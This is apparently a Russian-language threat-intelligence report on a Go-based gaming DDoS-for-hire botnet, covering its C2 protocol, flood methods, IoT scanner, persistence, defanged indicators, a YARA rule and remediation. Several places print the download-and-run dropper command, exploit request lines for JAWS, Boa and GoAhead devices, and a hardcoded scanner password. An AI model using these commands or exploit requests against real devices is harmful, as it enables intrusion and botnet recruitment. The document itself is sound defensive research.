malware · botnet · ddos · golang · iot · honeypot · gaming · mirai
Внутри игровой DDoS-операции по найму
Kinryū Labs с высокой уверенностью оценивает это как коммерческую игровую DDoS-операцию по найму, работающую на общем билдер-наборе ботнета. Одна и та же кодовая база на Go компилируется разными операторами с их собственными C2-серверами и наборами методов атак; проанализированный здесь флот выставляет самообслуживаемый API по найму с ограничением по учётным записям и живой инвентарь ботов примерно из 28–32 устройств, рассылая заказы клиентов на атаки против игровой и голосовой инфраструктуры. Его командный канал на сыром TCP не аутентифицирован, тогда как регистрация ботов ограничена аутентифицируемым по паролю SSH-каналом.
Автор Davis Zheng·
TLP:CLEAR. Согласовано к публикации. Перехвачено сетью сенсоров-ловушек Kinryū Labs. Индикаторы ниже обезврежены.
Краткое резюме
- 11уникальных бинарников под 7 архитектур
- 28-32активных ботов в API по найму
- 1SSH-способный вариант (Windows PE)
Это DDoS-ботнет на Go с возможностями IoT-червя, распространяемый через мультиархитектурный дроппер (bins.sh) и управляемый как коммерческий DDoS-сервис по найму. Бот подключается к своему серверу управления по сырому TCP, отправляет периодические хартбиты STATS и получает построчно разделённые команды атак. Kinryū Labs с высокой уверенностью оценивает это как функционирующий, ориентированный на игры DDoS-ботнет по найму.
Отличительная черта — асимметрия аутентификации. Командный канал на 9111/tcp не аутентифицирован: между TCP-подключением и рассылкой команд не проходит ни пароль, ни токен, ни запрос-ответ. Регистрация ботов отслеживается отдельно на аутентифицируемом по паролю SSH-канале на 911/tcp, и счётчик ботов API по найму отражает именно эти аутентифицированные регистрации, а не открытые командные подключения. Проанализированный бинарник говорит только по каналу сырого TCP и не несёт SSH-клиента, так что регистрацией занимается отдельный компонент-загрузчик.
Эта операция работает как видимый бизнес. Хост управления выставляет самообслуживаемый DDoS-API по найму с ограничением по учётным записям, публикует живой счётчик своего инвентаря ботов и является одной из нескольких витрин, собранных из одного и того же набора ботнета. За несколько часов наблюдения сервис в реальном времени рассылал заказы клиентов на атаки.
- Командный канал не аутентифицирован; регистрация — да. Сырой TCP на
9111принимает команды без аутентификации, тогда как счётчик ботов API по найму отслеживает аутентифицированные по паролю SSH-сессии на911. Живое тестирование подтвердило, что и сырое TCP-подключение к9111, и неаутентифицированный обмен ключами SSH на911оставляют счётчик ботов неизменным. - Флот — это одна кодовая база на Go, скомпилированная множеством способов. Шестнадцать файлов на файловом сервере C2 сводятся к одиннадцати уникальным бинарникам под семь архитектур, все с общим путём модуля
Botnet/Botи флагами сборки-tags=netgo -trimpath=true. Windows PE — единственный вариант с SSH-клиентом; сборки Linux и IoT распространяются через эксплойты сканера и дроппер. - Сервис нацелен на рынок игровых стрессеров. Набор методов включает флуды FiveM, Minecraft и Discord, а перехваченные нами живые команды атак были направлены почти целиком на игровую и голосовую инфраструктуру.
- Фреймворк — это дизайн родословной Mirai, переписанный на Go. Он разделяет структурные паттерны Mirai: неаутентифицированный командный канал TCP, команды с текстовыми разделителями, рассылку по горутине на атаку и IoT-сканер, бьющий по тем же целям эксплуатации, — переосмысленные на Go с методами под игровой рынок, флудами TLS/HTTPS и прикрученным сверху API по найму.
- Это общий билдер-набор, а не заказной ботнет. Вторичный сервер-дроппер разделяет инфраструктуру с C2 другого оператора, а флоты, собранные из этого набора, разделяют путь модуля, сканер, механизмы закрепления и эксплойты роутеров, различаясь адресом C2 и выбором методов атак.
Набор и его варианты
C2 хостит открытый каталог, раздающий флот ботнета. Шестнадцать файлов сводятся к одиннадцати уникальным бинарникам по SHA-256, охватывая x86, x86-64, ARM (v5/v6/v7), ARM64 и MIPS (с прямым и обратным порядком байтов), плюс Windows PE и минимальная заглушка. Все разделяют кодовую базу на Go Botnet/Bot, скомпилированную с Go 1.26.4, без сторонних импортов, кроме SSH-клиента в Windows-сборке.
Выделяются три момента:
- Windows PE — единственный SSH-способный вариант. Только
bot.exeимпортируетgolang.org/x/crypto/ssh; полное сканирование строк Linux-сборкиamd64и сравнение между всеми одиннадцатью уникальными бинарниками не нашли SSH-импортов где-либо ещё. Варианты Linux и IoT распространяются через сканер и дроппер. - Один вариант — более старая сборка без C2.
x866скомпилирован с Go 1.25.6 против 1.26.4 у остального флота, является самым маленьким ELF-вариантом и не несёт видимого адреса C2; адрес, вероятно, закодирован или подаётся во время выполнения. Он разделяет кодовую базуBotnet/Bot, что привязывает его к тому же оператору. sora.x86— не ботнет. Несмотря на имя файла, отсылающее к семейству Mirai «Sora», это минимальная Go-заглушка, собранная тем же тулчейном, весь пользовательский код которой печатаетsora.x86 is runningи завершается, без адреса C2, сканера, методов атак или учётных данных. Скорее всего, она служит сторожевым процессом или приманкой на файловом сервере.
Три перехвата Windows PE охватывают примерно неделю: два байт в байт идентичны, более поздний — меньшая пересборка без символов, а ещё более поздний — полнофункциональная перекомпиляция, отличающаяся от оригинала.
Протокол C2
Командный канал — сырой TCP без аутентификации транспорта. Последовательность подключения такова: опциональное подтягивание конфига (GET /config.dat, проверяемое против встроенного checkcode), процедура закрепления, затем net.Dial к командному порту, после чего бот читает команды, ничего не отправляя первым.
- Хартбит:
STATS|%d|%d|%d|%d|%s\n. Последнее поле — ОС или архитектура (например,amd64); четыре целых числа сообщают счётчики атак, подключений, сканирований и заражений. - Команды: разделены переводом строки и разбиваются по пробелам, в форме
ATTACK_TYPE TARGET PORT DURATION [OPTIONS...]. Первое поле выбирает метод, числовые поля разбираются черезstrconv.Atoi. - Переподключение: 120-секундный таймер повторно входит в цикл подключения.
- Конфиг: учётные данные и конфигурация подтягиваются из
config.datи декодируются кастомным многоступенчатым XOR-шифром (буфер в 4,078 байт, инициализированный пробелами, затем побайтовый XOR с двумя фиксированными байтами ключа,0x24и0x3C). На момент анализаconfig.datне отдавался, что указывает: оператор отключил или переместил его.
Методы атак
Бот несёт широкий DDoS-инструментарий, каталогизированный по именам функций и лог-строкам:
Методы атак
Нацеленные на игры: FiveMFlood, FiveMBypass, FiveMTCP, Minecraft, Discord.
Уровень 7: HTTPSFlood (Starting Optimized HTTPS Flood on), Bypass, TLSFlood, TLSPlusFlood, TLSPlusBypassFlood, Priv7Flood (PRIV7 Attack finished).
Уровень 4: TCPFlood, PPSFlood, PPSRawFlood, RawTCPFlood, RawACKFlood, ResetAttack.
Уровень 3: UdpFlood, RawUDPFlood, UDPPPSFlood (Extreme UDP (PPS)), GbpsFlood (High GBPS), DNSFlood.
Специальные / под конкретный хостинг: OVHFlood (нацелен на OVH), GameFlood, FortAttack (Fortnite), Crash, Freez.
Только Linux (нет в PE-сборке): NtpAmp (полная NTP-амплификация; в PE идёт заглушка), HandshakeFlood (TCP SYN-флуд на сыром сокете с подделкой IP), VoultFlood (флуд на сыром сокете с вычислением контрольной суммы).
HTTP-флуды ротируют двенадцать жёстко заданных строк User-Agent браузеров и устанавливают Referer из набора высокорепутационных сайтов (google.com, twitter.com, facebook.com, fbi.gov, reddit.com, bing.com), чтобы слиться с легитимным трафиком и проскользнуть мимо фильтрации WAF.
Сканер и IoT-червь
Сканер брутфорсит учётные данные для входа в IoT-устройства и эксплуатирует несколько веб-стеков встраиваемых устройств: DVR/IP-камеры JAWS (GET /syscmd.htm), веб-сервер Boa на роутерах (POST /boafrm/formSysCmd, POST /boafrm/formLogin) и устройства на базе GoAhead (setUserLogin для обхода аутентификации и создания админ-пользователя, getSanvas для извлечения конфига). Скомпрометированные устройства заставляют выполнить wget %s -O bins.sh; chmod +x bins.sh; ./bins.sh.
Учётные данные разделены. Один пароль сканера жёстко задан в бинарнике (555111111!!, с вероятным именем пользователя 555), тогда как основной список учётных данных подтягивается из config.dat во время выполнения и декодируется XOR.
Закрепление использует четыре механизма плюс маскировку процесса: юнит systemd в /etc/systemd/system/sysd.service (с daemon-reload), запись cron через /tmp/cron_tmp, rc.local (/etc/rc.local, /etc/rc.d/rc.local) и init.d (/etc/init.d/boot.local). Процесс маскируется под системный демон с именем sysd.
Операция по найму
Хост управления устроен как бизнес. Он открывает операторский SSH на 22, канал регистрации ботов Go SSH на 911 (аутентификация по паролю, на отдельном ключе RSA-2048), HTTP-API DDoS по найму на 3333, командный канал на сыром TCP на 9111 и файловый сервер с открытым каталогом на 5001, где флот ботов доступен для загрузки.
Витрина самообслуживания. API на 3333 — минимальный бутер с единственной конечной точкой. /stats возвращает живой счётчик инвентаря ботов; /api принимает заказ. Он валидирует user и psw, учётные данные аккаунта каждого клиента, наряду с host, method, time/duration и port — параметрами цели и атаки, — и отклоняет всё, чего не хватает или что не аутентифицировано. Форма заказа видна из неаутентифицированных зондирований:
GET /stats
{"time":<unix>,"total":30}
GET /api
Missing parameters: user, psw, host, method, time/duration, port
GET /api?user=…&psw=…&host=…&method=…&time=…&port=…
Authentication failed
Форма заказа отображается один в один на командный формат бота (ATTACK_TYPE TARGET PORT DURATION): один аутентифицированный запрос к API становится единственной строкой, рассылаемой по неаутентифицированному каналу 9111 каждому зарегистрированному боту.
Курируемый инвентарь. /stats показывал от 28 до 32 активных ботов с непрерывной ротацией на протяжении окна наблюдения. Поскольку этот счётчик отслеживает аутентифицированные по паролю регистрации на 911, а не сырые командные подключения, это счёт проверенного инвентаря. В этом операционная причина, по которой регистрация и рассылка команд разнесены на два канала: одни ворота, чтобы решать, какие боты принадлежат сервису, и один открытый канал, чтобы ими управлять.
Переход от майнинга к DDoS. Вторичный сервер-дроппер несёт опустошённый miner.sh рядом с DDoS-флотом — остаток компонента-криптомайнера, с тех пор удалённого. Похоже, оператор перешёл от криптомайнинга к продаже DDoS.
Исполнение заказов, наблюдавшееся вживую
Мы проверили реверснутый протокол на живом C2 пассивным монитором и наблюдали работу сервиса. C2 большую часть времени простаивал; за одну многочасовую сессию он разослал тринадцать команд атак, каждая — заказ клиента, отправленный флоту.
Заказы были нацелены почти целиком на игровую и голосовую инфраструктуру: преимущественно игровые серверы FiveM (GTA V) в Google Cloud в Саудовской Аравии, с голосовыми конечными точками Discord в Cloudflare и парой веб-серверов. Мы оцениваем это как ориентированный на игры стрессер-сервис, действующий в конкретном конфликте клиента. Паттерн рассылки читается как оказание услуги: ступенчатые длительности атак, напоминающие продуктовые тарифы (зондирования по 20 с, стандарт по 30 с, длительные по 60 с), эскалация метода (обобщённый флуд для проверки цели, затем протокол-специфичный метод против неё), парная и всплесковая рассылка с последующими паузами, а также двойной удар по обоим IP за балансируемой голосовой инфраструктурой Discord-сервера.
Общий билдер-набор
Это не заказной ботнет. Это одна сборка набора для ботнета, который разные операторы кастомизируют и запускают как собственный сервис. Яснее всего набор виден в сравнении бок о бок с флотом из нашего более раннего отчёта Кроссплатформенный DDoS-ботнет по найму на Go, который работает на той же кодовой базе:
| Более ранний отчёт | Эта операция | |
|---|---|---|
| Кодовая база | набор на Go Botnet/Bot | тот же набор на Go Botnet/Bot |
| Доставка | Jenkins RCE + IoT-сканер | Jenkins RCE + IoT-сканер |
| Сканер, закрепление, эксплойты роутеров | общие | общие |
| Адрес C2 | 185.226.93[.]242 | 5.175.140[.]178 |
| Набор методов и рынок | DDoS общего назначения | игровой стрессер (FiveM, Minecraft, Discord) |
Флоты разделяют путь модуля Botnet/Bot, тот же сканер и IoT-эксплойты, те же механизмы закрепления и тот же дроппер, и работают на пересекающейся инфраструктуре: вторичный сервер-дроппер здесь (185.226.93[.]242) — это C2 из более раннего отчёта. Различаются набор методов и рынок. Тот другой флот компилирует набор флудов общего назначения; оператор здесь компилирует игровые методы и поставляет API заказов по найму, нацеленный прямо на рынок игровых стрессеров. Вместе они указывают на экономику билдер-наборов: общая кодовая база, перепродаваемая или передаваемая по рукам, где каждый оператор поднимает витрину с собственными целями.
Индикаторы компрометации
Инфраструктура атакующего обезврежена. Хеши воспроизведены точно.
Сеть
| Индикатор | Контекст |
|---|---|
5.175.140[.]178:911/tcp | Регистрация ботов (Go SSH, аутентификация по паролю; учитывается API по найму) |
5.175.140[.]178:9111/tcp | Рассылка команд (сырой TCP, без аутентификации; не учитывается) |
5.175.140[.]178:3333/tcp | DDoS-API по найму (/stats, /api) |
5.175.140[.]178:5001/tcp | Файловый сервер с открытым каталогом (флот ботов + дроппер) |
5.175.140[.]178:22/tcp | Операторский SSH (OpenSSH 9.7p1 Ubuntu) |
hxxp://5.175.140[.]178:9111/config.dat | Подтягивание конфига по сырому TCP |
hxxp://5.175.140[.]178:5001/bins.sh | Мультиархитектурный дроппер (основной) |
185.226.93[.]242:1001/tcp | Вторичный дроппер (C2 отдельного оператора) |
hxxp://185.226.93[.]242:1001/bins.sh, …/binns.sh | Дроппер (вторичный + вариант с опечаткой) |
217.60.195[.]229 | Адрес-источник, доставивший образец |
5.175.140[.]0/24 | Хостинговое выделение |
Строки сканера / размножения
GET /syscmd.htm HTTP/1.1 (JAWS DVR/IP camera RCE)
POST /boafrm/formSysCmd HTTP/1.1 (Boa router RCE)
POST /boafrm/formLogin HTTP/1.1 (Boa login)
GET /login.htm HTTP/1.1 (router login page)
{"topicurl":"setting/setUserLogin",...} (GoAhead auth bypass / admin-user creation)
{"topicurl":"setting/getSanvas"} (GoAhead config extraction)
GET /config.dat HTTP/1.1 (remote config fetch)
wget %s -O bins.sh; chmod +x bins.sh; ./bins.sh
proxy/tlsplusbypass.txt
Артефакты хоста
Process name: sysd
systemd: /etc/systemd/system/sysd.service (+ daemon-reload)
cron: /tmp/cron_tmp
rc.local: /etc/rc.local, /etc/rc.d/rc.local
init.d: /etc/init.d/boot.local
Hardcoded scanner credential: 555111111!! (likely username 555)
Файлы (SHA-256), Go 1.26.4, если не указано иное
Полные хеши файлов
bot.exe (Windows PE, only SSH-capable variant), captures:
6da756970a411dade9db3c921ef4cdade550f317703d0fc12090a15d8c6778d4 (6,253,056 bytes)
36f1b06c942271496d8a9e26bde8d5ddacea82965ea3232ea99804170c1e4e25 (4,933,632 bytes, stripped rebuild)
4de4621f66780e1400bf3c55f146f84f6d77bbdd3a401451f3b7f16d674e3804 (6,020,608 bytes, full rebuild)
Linux amd64: 8ddad5973d0ed85ba2babe36121d16fa9307b8804206f645630b10f772010680
Linux i386/x86 (byte-identical): d862b2589aef9611807dfe1f27c4544120dd76f029afc006038ad5b81d57086e
Linux ARM (android_arm = arm = arm7 = armv7l): 523c4096458bc3ac42e2bc92a8cf5a36b7bab1c75a2cc0e1ab3f9e5db3c33c82
Linux ARM5: 362c5394a0fa1e87929da5967ec779dcf8c7bbcbdd9417391349e9aa6c2cc4b3
Linux ARM6: 2709ce2627b6aed42166bc7cdf14f9b22855ee7a99f9eb76febb1ec9c8d22b41
Linux ARM64 (android_arm64 = arm64): 428de403a62e4e8ebc2e54af94d36e43e6b26d5e41bbc0d81b39c3e19f4b1d2a
Linux MIPS (BE): 6500fef3003e5d2d7ef6fbdbe6219e93f31082c232ce2769f206d1f425c75f21
Linux MIPS (LE): 3e02755cd326c9c724abc730a40ae0cccebfa23614fbbd566a08b71a1f5f2fdc
x866 (Go 1.25.6, no visible C2 IP): f223bc55bad1bf9ba6ae9ba11f58b338bc00e8e0d4b50311b5b5c42a09a7c122
sora.x86 (Go stub, not a botnet): a1a9e0a94780a05097544b62eb13db7444b29033fbe1d30a16f2d2334ec424ad
sora.x86 SHA-1: efa32ae20b15f835b96da5ce9e83332b83cbd098
sora.x86 MD5: 3f95cf1ed17f7e00a7be4f5cf12e0088
x86/i386, группа ARM7 (android_arm/arm/arm7/armv7l) и android_arm64/arm64 байт в байт идентичны; arm6 отличается от группы ARM7 несмотря на тот же размер (иная кодогенерация GOARM).
Хостинг
Provider: Ryzehosting
Maintainer: GHOSTNET-MNT
Abuse: [email protected]
Reverse DNS: static.178.140.175[.]5.clients.ryzehosting.com
IP allocated: 2026-03-15
Обнаружение
Строки стабильны и необфусцированы, так что сигнатуры прямолинейны. YARA-правило ниже — кандидат, построенный из характерных строк; валидируйте перед развёртыванием.
rule go_gaming_ddos_bot_candidate
{
meta:
description = "Candidate: Go DDoS-for-hire botnet (Botnet/Bot codebase, gaming loadout)"
author = "Kinryu Labs honeypot CTI"
reference = "6da75697...78d4" // full SHA-256 in the IOC table
tlp = "CLEAR"
strings:
$mod = "Botnet/Bot" ascii
$cnc1 = "Connecting to CNC" ascii
$cnc2 = "Connected to CNC" ascii
$stats = "STATS|" ascii
$svc = "/etc/systemd/system/sysd.service" ascii
$cron = "/tmp/cron_tmp" ascii
$fivem = "Starting FiveM Flood on" ascii
$cred = "555111111!!" ascii
condition:
($mod and 2 of ($cnc1, $cnc2, $stats)) or
($svc and $cron) or
(2 of ($fivem, $cred, $stats))
}
Дополнительная логика обнаружения:
# STATS heartbeat on egress (regex)
STATS\|[0-9]+\|[0-9]+\|[0-9]+\|[0-9]+\|.+\n
# IoT exploit payloads (inbound)
GET /syscmd.htm HTTP/1.1
{"topicurl":"setting/setUserLogin","username":"...
{"topicurl":"setting/getSanvas"}
# Dropper execution chain
wget %s -O bins.sh; chmod +x bins.sh; ./bins.sh
Ремедиация
- Не выставляйте в интернет Jenkins и другие CI/CD- и админ-интерфейсы. Это был вектор доставки.
- Патчите или сегментируйте IoT-устройства на базе JAWS, Boa и GoAhead и блокируйте внешний доступ к их админ-интерфейсам. Это цели размножения сканера.
- Блокируйте инфраструктуру C2 и дроппера на периметре (
5.175.140[.]178и дроппер185.226.93[.]242:1001) и алертите на подтягиваниеconfig.datи цепочку выполненияbins.sh. - Алертите на артефакты закрепления и имя процесса
sysd, а также на паттерн хартбитаSTATS|в исходящем трафике.
Сопоставление с MITRE ATT&CK
| Тактика | Техника |
|---|---|
| Initial Access | T1190 Exploit Public-Facing Application (доставка через Jenkins; эксплойты веб-стеков IoT JAWS / Boa / GoAhead) |
| Execution | T1059.004 Command and Scripting Interpreter: Unix Shell (дроппер bins.sh) |
| Persistence | T1543.002 Systemd Service (sysd.service); T1053.003 Cron; T1037.004 RC Scripts (rc.local); загрузочный скрипт init.d |
| Defense Evasion | T1036 Masquerading (имя процесса sysd; подделка браузерных User-Agent и referer); T1027 Obfuscated Files or Information (XOR-кодированный config.dat) |
| Credential Access | T1110 Brute Force (вход в IoT-устройства) |
| Discovery | T1046 Network Service Scanning (IoT-сканер) |
| Command and Control | T1071.001 Web Protocols (config.dat); T1571 Non-Standard Port (911, 9111, 3333, 5001); T1105 Ingress Tool Transfer (мультиархитектурный дроппер) |
| Impact | T1498.001 Direct Network Flood (UDP / TCP / PPS / FiveM / Discord); T1498.002 Reflection Amplification (DNS / NTP) |
Методология и заметки
- Анализ — статический реверс-инжиниринг плюс пассивная валидация протокола вживую; бинарники никогда не запускались.
- Индикаторы обезврежены, хеши воспроизведены точно.
- Образцы доступны другим исследователям и защитникам по запросу. Напишите на [email protected] с короткой запиской о том, кто вы и зачем они вам.